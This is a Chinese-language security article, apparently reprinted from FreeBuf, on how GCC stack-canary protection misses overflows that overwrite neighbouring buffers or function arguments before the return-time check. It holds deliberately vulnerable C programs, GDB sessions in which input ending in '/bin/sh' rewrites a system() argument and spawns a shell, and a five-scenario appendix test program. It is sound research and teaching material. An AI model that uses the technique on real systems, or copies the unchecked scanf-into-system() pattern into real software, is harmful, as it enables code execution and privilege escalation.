在當今的操作系統中,內存缺陷漏洞已經越來越難挖掘了,棧保護措施已經使原來的緩沖區溢出利用方法(將NOP塊和shellcode寫入到緩沖區中,并用緩沖區內的地址覆蓋EIP所指向的地址)失效了。如果沒有某種程度的信息泄露,在地址空間分布隨機化(ASLR)和棧cookies的雙重保護下,用傳統方法實際上已經很難對遠程系統執行有效的溢出攻擊了。
不過,現在仍存在可被利用的棧輸入/輸出漏洞。本文描述了一些常用緩沖區溢出技術,這些技術不會觸發棧的__stack_chk_fail保護,或至少到目前為止還有效的技術。本文我們不再利用新技術通過修改EIP來修改程序的執行流程,而是將精力集中到一系列新的目標中。同時,本文也會討論GCC 4.6及之前版本中未出現在任何文檔中的函數安全模式(function safety model)。
GCC ProPolice記錄的異常
根據函數安全模型的ProPolice文檔,以下情況不會被保護:
1.無法被重新排序的結構體,以及函數中的指針是不安全的。
2.將指針變量作為參數時是不安全的。
3.動態分配字符串空間是不安全的。
4.調用trampoline代碼的函數是不安全的。
另外,我們也發現以下幾種情況也是不安全的:
1.如果函數中定義了一塊以上緩存且沒有正確排序,則至少一塊緩存可能在引用前被修改被干擾。
2.參數列表中的指針或原語(primitives)可能被修改,但在canary檢測之前被引用。
3.任意結構體原語或緩存都有可能在引用前被修改(包括C++中的棧對象)。
4.位于棧幀低地址中的指向變量的指針是不安全的,因為數據在被引用前可能會先被覆蓋。這里我們不再局限于當前棧幀中的本地變量、指針(如函數指針)和緩存等。
IBM在關于函數安全模型的文檔中假定攻擊類型都是傳統的棧溢出方式。文檔中聲明,函數返回后,棧canary后的數據是安全的,事實也確實是這樣。但問題是數據在函數返回之前可能不是安全的。即使在不同的棧幀中,指向棧的高地址的指針也很容易被改寫。
基礎攻擊
以下為一個簡單的示例:
#include <stdio.h>
#include <stdlib.h>
int main()
{
char buff[10];
char buff2[10] = “dir”;??? // 該命令在windows與linux系統中均有效
scanf(“%s”, buff);
printf(“A secure compiler should not execute this code in case of overflow.\n”);
system(buff2);
}
這個簡單的函數包含兩個不同的變量,第一個變量從標準輸入讀取一個字符串,第二個變量作為system函數的參數。scanf函數包含可以溢出的漏洞,如果我們輸入的字符超過10個,就會產生溢出,會將buff字符串數組之上高地址的任何數據覆蓋。在GCC中,”fstack-protoctor-all”標記要作的就是在內存中檢測這種情況。下面我們用GDB看一下:
main()函數的反匯編代碼:
0x08048494 <+0>: push %ebp
0x08048495 <+1>: mov %esp,%ebp
0x08048497 <+3>: and $0xfffffff0,%esp
0x0804849a <+6>: sub $0x30,%esp
0x0804849d <+9>: mov %gs:0x14,%eax
0x080484a3 <+15>: mov %eax,0x2c(%esp)
0x080484a7 <+19>: xor %eax,%eax
0x080484a9 <+21>: movl $0x726964,0x22(%esp)
0x080484b1 <+29>: movl $0x0,0x26(%esp)
0x080484b9 <+37>: movw $0x0,0x2a(%esp)
0x080484c0 <+44>: lea 0x18(%esp),%eax
0x080484c4 <+48>: mov %eax,0x4(%esp)
0x080484c8 <+52>: movl $0x80485e0,(%esp)
0x080484cf <+59>: call 0x80483b0 <scanf@plt>
0x080484d4 <+64>: movl $0x80485e4,(%esp)
0x080484db <+71>: call 0x8048390 <puts@plt>
0x080484e0 <+76>: lea 0x22(%esp),%eax
0x080484e4 <+80>: mov %eax,(%esp)
0x080484e7 <+83>: call 0x80483a0 <system@plt>
0x080484ec <+88>: mov $0x0,%eax
0x080484f1 <+93>: mov 0x2c(%esp),%edx
0x080484f5 <+97>: xor %gs:0x14,%edx
0x080484fc <+104>: je 0x8048503 <main()+111>
0x080484fe <+106>: call 0x8048380 <__stack_chk_fail@plt>
0x08048503 <+111>: leave
0x08048504 <+112>: ret
End of assembler dump.
(gdb) break *0x080484cf
Breakpoint 1 at 0x80484cf: file firstexample.cpp, line 7.
(gdb) break *0x080484e7
Breakpoint 2 at 0x80484e7: file firstexample.cpp, line 9.
(gdb) r
Starting program: /home/ewimberley/testing/a.out
Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7
7 scanf(“%s”, buff);
(gdb) x/s buff2
0xbffff312: “dir”
(gdb) con
condition continue
(gdb) continue
Continuing.
aaaaaaaaaa/bin/sh
A secure compiler should not execute this code in case of overflow.
Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9
9 system(buff2);
(gdb) x/s buff2
0xbffff312: “/bin/sh”
(gdb) continue
Continuing.
$ whoami
ewimberley
$ exit
[Inferior 1 (process 3349) exited normally]
可以向buff合法寫入10個字節,多出來的字節寫入到buff2中(canary被覆蓋之前)。如果我們從標準輸入寫入21個‘a’并查看內存,可以看到canary的第一個字節(0×00)被破壞了。
Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7
7 scanf(“%s”, buff);
(gdb) x/32x buff
0xbffff308: 0xdb 0x3b 0x16 0x00 0x24 0x93 0x2a 0x00
0xbffff310: 0xf4 0x8f 0x64 0x69 0x72 0x00 0x00 0x00
0xbffff318: 0x00 0x00 0x00 0x00 0x00 0xe6 0x75 0xc2
0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00
(gdb) continue
Continuing.
aaaaaaaaaaaaaaaaaaaaa
A secure compiler should not execute this code in case of overflow.
Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9
9 system(buff2);
(gdb) x/32x buff
0xbffff308: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xbffff310: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xbffff318: 0x61 0x61 0x61 0x61 0x61 0x00 0x75 0xc2
0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00
(gdb) continue
Continuing.
sh: aaaaaaaaaaa: not found
*** stack smashing detected ***: /home/ewimberley/testing/a.out terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0x2188d5]
/lib/i386-linux-gnu/libc.so.6(+0xe7887)[0x218887]
/home/ewimberley/testing/a.out[0x8048503]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x14a113]
/home/ewimberley/testing/a.out[0x8048401]
======= Memory map: ========
00110000-0012e000 r-xp 00000000 08:01 1577417 /lib/i386-linux/-gnu/ld-2.13.so
0012e000-0012f000 r–p 0001d000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so
0012f000-00130000 rw-p 0001e000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so
00130000-00131000 r-xp 00000000 00:00 0 [vdso]
00131000-002a7000 r-xp 00000000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so
002a7000-002a9000 r–p 00176000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so
002a9000-002aa000 rw-p 00178000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so
002aa000-002ad000 rw-p 00000000 00:00 0
002ad000-002c9000 r-xp 00000000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1
002c9000-002ca000 r–p 0001b000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1
002ca000-002cb000 rw-p 0001c000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1
08048000-08049000 r-xp 00000000 08:01 1048890 /home/ewimberley/testing/a.out
08049000-0804a000 r–p 00000000 08:01 1048890 /home/ewimberley/testing/a.out
0804a000-0804b000 rw-p 00001000 08:01 1048890 /home/ewimberley/testing/a.out
0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
b7fec000-b7fed000 rw-p 00000000 00:00 0
b7ffc000-b8000000 rw-p 00000000 00:00 0
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
Program received signal SIGABRT, Aborted.
0x00130416 in __kernel_vsyscall ()
需要注意的是,從sh得到的錯誤消息依然會被打印出來:
sh: aaaaaaaaaaa: not found
這是因為直到函數返回之前的那一刻才會進行棧檢查,在檢測到內存被破壞之前,非法的字符串已經被引用了。字符串結尾處的棧canary的第一個字節被覆蓋(錯誤消息中只有11個‘a’,因為buff2中包含字節長)。下圖演示了根據函數安全模型,函數在執行時棧幀的情況:
變量聲明的順序通常決定其在棧幀中的順序。緩存在聲明時通常是往棧底方向聲明的,以此來減緩其對其它本地變量的溢出攻擊,但當有兩塊緩存時,其中的一塊必須在另一塊緩存和canary之間。如果有緩沖區溢出漏洞影響了第一塊緩存,則第二塊緩存可被任意寫入。這比所有的本地變量被溢出攻擊要好,但字符串通常更容易被選為攻擊目標。
函數參數不能輕易改變位置,所以它們在其在這些變量緩存的上面。主函數的緩存在棧幀的最底部(高地址)。如前文所述,直到函數返回時才會對棧進行檢查,所以這些參數仍有可能被當前函數引用 。這表示可以通過將惡意代碼寫入到參數的方式來觸發緩沖區溢出漏洞。
void vulnerable(char* buffer)
{
char buff[10];
scanf(“%s”, buff);
printf(“A secure compiler should not execute this code in case of overflow.\n”);
system(buffer);
}
int main()
{
char buff2[10] = “dir”;
vulnerable(buff2);
printf(“The overflow happened in a different function…\n”);
}
vulnerable()函數的棧幀的結構類似下圖(根據編譯器的不同略有差異)。char *buff與包含漏洞的char[] buff分別在canary的兩側,但仍無法避免受到溢出攻擊。
在vulnerable()函數到達其返回點時,仍會進行canary檢測。不幸的是,攻擊者在這時已經獲取到shell的訪問權限,且在程序做出任意棧溢出警告前將其kill掉了。如果vulnerable()函數打開一個shell并殺死它自己的進程,安全檢測就不會運行了。需要注意的是如果該漏洞程序是以root權限(或者設置了suid位且程序所有者為root)運行的,則通過利用該漏洞就可以獲取到系統root用戶權限。
其它攻擊向量
system(char *)函數只是一個簡單的示例,系統中還有很多類似的情況。本例中的攻擊者溢出了一個直接傳遞到printf函數中的字符串。
容易受到攻擊的目標包含但不限于:
1.傳遞到system(char *command)函數中的字符串
2.做為字符串格式的字符串(Strings that are used as a string format)
3.包含SQL狀態的字符串
4.包含XML的字符串
5.寫入到硬盤的字符串
6.包含密碼信息的字符串
7.包含加密密鑰的字符串
8.包含文件名的字符串
附錄A
/*
Copyright (C) 2012 Eric Wimberley and Nathan Harrison
WARNING:
以下這段代碼故意寫成易受攻擊的形式。
讀者可以嘗試在測試系統或沙盒中編譯并以守護程序或以root權限運行這段代碼。
*/
// windows系統中需要的頭文件
//#include “stdafx.h”
//#include <process.h>
// linux系統中需要的頭文件
#include <stdlib.h>
#include <stdio.h>
// code portability for vulnerable function
// TODO pick a vulnerable function, any vulnerable function
//#define vulnerableFunction printf
#define vulnerableFunction system
//#define vulnerableFunction mysql_query(…)?
//#define vulnerableFunction someone_who_trusts_this_string_in_any_way(…)?
// code portability for scanf function (for what it's worth)
// TODO comment out for linux
//#define scanf scanf_s
void c(char* buffer)
{
char buff[10];
// 如果使用scanf_s漏洞就不存在了
// 預編譯指令是為了保證不使用scanf_s
#ifndef scanf
scanf(“%s”, buff);
#endif
#ifdef scanf
#undef scanf
scanf(“%s”, buff);
#define scanf scanf_s
#endif
printf(“A secure compiler should not execute this code in case of overflow.\n”);
vulnerableFunction(buffer);
}
class TestClass
{
public:
char buff[10];
char buff2[21];
TestClass()
{
sscanf(buff2, “SELECT * FROM table;”);
}
void a()
{
scanf(“%s”, buff);
printf(“A secure compiler should not execute this code in case of overflow.\n”);
vulnerableFunction(buff2);
}
};
void scenario1()
{
// Case 1 and 2:簡單棧幀
// depending on compiler implementation these stack frames may be arranged so
// such that one buffer can overflow into the other (at least one of these
// works on most compilers)
// TODO pick one of these
printf(“Running scenario 1…\n”);
a();
}
void scenario2()
{
// Case 2:對象中的堆溢出
// 堆溢出是一個已知的問題,但對象使該問題更嚴重了
// 因為對象之間的緩存是相臨的。
printf(“Running scenario 2…\n”);
TestClass* test = new TestClass();
test->a();
}
void scenario3()
{
// Case 3:對象中的棧溢出
// objects on the stack are almost unaccounted for
printf(“Running scenario 3…\n”);
TestClass test = TestClass();
test.a();
}
void scenario4Part2(TestClass& test)
{
test.a();
}
void scenario4()
{
// Case 4:對象中的棧溢出
// objects on the stack are almost unaccounted for
// 該情況也可以作為棧檢查應該更早執行的證明
// 棧檢查的最佳時機就是緩存被改寫之后就直接檢查
printf(“Running scenario 4…\n”);
TestClass test = TestClass();
scenario4Part2(test);
printf(“The overflow happened in a different function…\n”);
}
// honestly, this scenario might be the worst offender
void scenario5()
{
// Case 5:對象中的棧溢出
// 函數參數在棧canary以下,但由于不正確的檢查時機,其包含漏洞
// 該情況也可以作為棧檢查應該更早執行的證明
// 棧檢查的最佳時機就是緩存被改寫之后就直接檢查
printf(“Running scenario 5…\n”);
char buff2[10] = “dir”;
c(buff2);
printf(“The overflow happened in a different function…\n”);
}
// TODO use precompiler to make this code portable
// int _tmain(int argc, char* argv[])
int main(int argc, char* argv[])
{
if(argc == 2)
{
if(argv[1][0] == ‘1’)
{
scenario1();
}
else if(argv[1][0] == ‘2’)
{
scenario2();
}
else if(argv[1][0] == ‘3’)
{
scenario3();
}
else if(argv[1][0] == ‘4’)
{
scenario4();
}
else if(argv[1][0] == ‘5’)
{
scenario5();
}
}
else{
printf(“Usage [program] [scenario number 1-5]\n”);
}
printf(“\nA secure compiler should not get to this point.\n”);
return 0;
}
文章來源:FreeBuf黑客與極客(FreeBuf.COM)